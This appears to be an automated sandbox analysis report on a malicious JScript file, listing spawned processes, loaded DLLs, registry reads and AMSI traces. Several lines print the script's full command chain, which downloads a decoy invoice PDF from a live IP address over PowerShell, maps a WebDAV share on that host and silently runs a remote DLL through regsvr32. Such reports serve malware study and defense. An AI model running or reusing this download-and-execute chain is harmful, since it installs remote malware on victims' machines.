Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 24283946104055016.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7148:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kll1ec3r.wzh.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24283946104055016.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1604,i,2701009182133815951,15335121938958958030,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1604,i,2701009182133815951,15335121938958958030,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9042.js.csv");ITextStream.WriteLine(" entry:8898 f:htwohh");ITextStream.WriteLine(" exec:2 f:htwohh");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
